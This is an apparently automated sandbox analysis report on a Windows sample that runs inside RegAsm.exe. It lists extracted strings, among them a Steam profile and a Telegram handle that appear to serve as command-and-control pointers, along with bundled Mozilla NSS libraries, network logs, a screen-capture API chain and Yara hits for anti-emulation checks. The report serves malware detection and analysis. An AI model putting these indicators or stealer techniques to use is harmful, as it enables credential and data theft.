Source: 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=2VoZa2M8Wh3k&
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/he
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.j
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000001068000.00000004.00000020.00020000.00000000.sdmp, IIDHJD.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000001068000.00000004.00000020.00020000.00000000.sdmp, IIDHJD.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: JEGHDA.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: JEGHDA.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: JEGHDA.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: IIDHJD.3.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: https://mozilla.org0/
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.co
Source: 76561199686524322[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/discussions/
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login
Source: 76561199686524322[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199686524322
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/market/
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: file.exe, 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199686524322
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199686524322/badges
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199686524322/inventory/
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 76561199686524322[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/
Source: 76561199686524322[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/about/
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/explore/
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/legal/
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/mobile
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/news/
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/stats/
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: GCBFBG.3.dr	String found in binary or memory: https://support.mozilla.org
Source: GCBFBG.3.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: GCBFBG.3.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmp, GDAAKF.3.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: GDAAKF.3.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmp, GDAAKF.3.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: GDAAKF.3.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe
Source: file.exe, 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k0mono
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000001068000.00000004.00000020.00020000.00000000.sdmp, IIDHJD.3.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: JEGHDA.3.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000001068000.00000004.00000020.00020000.00000000.sdmp, IIDHJD.3.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: JEGHDA.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: GCBFBG.3.dr	String found in binary or memory: https://www.mozilla.org
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/:
Source: GCBFBG.3.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: GCBFBG.3.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: GCBFBG.3.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: GCBFBG.3.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: GCBFBG.3.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: RegAsm.exe, 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, 76561199686524322[1].htm.3.dr	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 23.194.234.100:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.240.101:443 -> 192.168.2.4:49731 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004112FD _EH_prolog,memset,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GlobalFix,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

3_2_004112FD

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.file.exe.70aac0.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 0.2.file.exe.70aac0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 0.2.file.exe.6e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6EED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	3_2_6C6EED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C72B8C0 rand_s,NtQueryVirtualMemory,	3_2_6C72B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C72B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	3_2_6C72B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C72B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6C72B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6CF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6C6CF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F736A	0_2_006F736A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041C07A	3_2_0041C07A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041E190	3_2_0041E190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041BB29	3_2_0041BB29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041CCA7	3_2_0041CCA7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6C35A0	3_2_6C6C35A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C705C10	3_2_6C705C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C712C10	3_2_6C712C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C73AC00	3_2_6C73AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C706CF0	3_2_6C706CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6D6C80	3_2_6C6D6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6DFD00	3_2_6C6DFD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6EED10	3_2_6C6EED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C700DD0	3_2_6C700DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C736E63	3_2_6C736E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C703E50	3_2_6C703E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6E9E50	3_2_6C6E9E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C712E4E	3_2_6C712E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C729E30	3_2_6C729E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C707E10	3_2_6C707E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6CBEF0	3_2_6C6CBEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6DFEF0	3_2_6C6DFEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C724EA0	3_2_6C724EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6E5E90	3_2_6C6E5E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6D9F00	3_2_6C6D9F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6CDFE0	3_2_6C6CDFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6F6FF0	3_2_6C6F6FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6E8850	3_2_6C6E8850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6ED850	3_2_6C6ED850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C70B820	3_2_6C70B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C714820	3_2_6C714820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6D7810	3_2_6C6D7810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C7058E0	3_2_6C7058E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C71B970	3_2_6C71B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6DD960	3_2_6C6DD960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6EA940	3_2_6C6EA940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6CC9A0	3_2_6C6CC9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6FD9B0	3_2_6C6FD9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C722990	3_2_6C722990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C709A60	3_2_6C709A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6E1AF0	3_2_6C6E1AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C708AC0	3_2_6C708AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C732AB0	3_2_6C732AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6F4AA0	3_2_6C6F4AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6DCAB0	3_2_6C6DCAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C73BA90	3_2_6C73BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6D5440	3_2_6C6D5440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C73545C	3_2_6C73545C
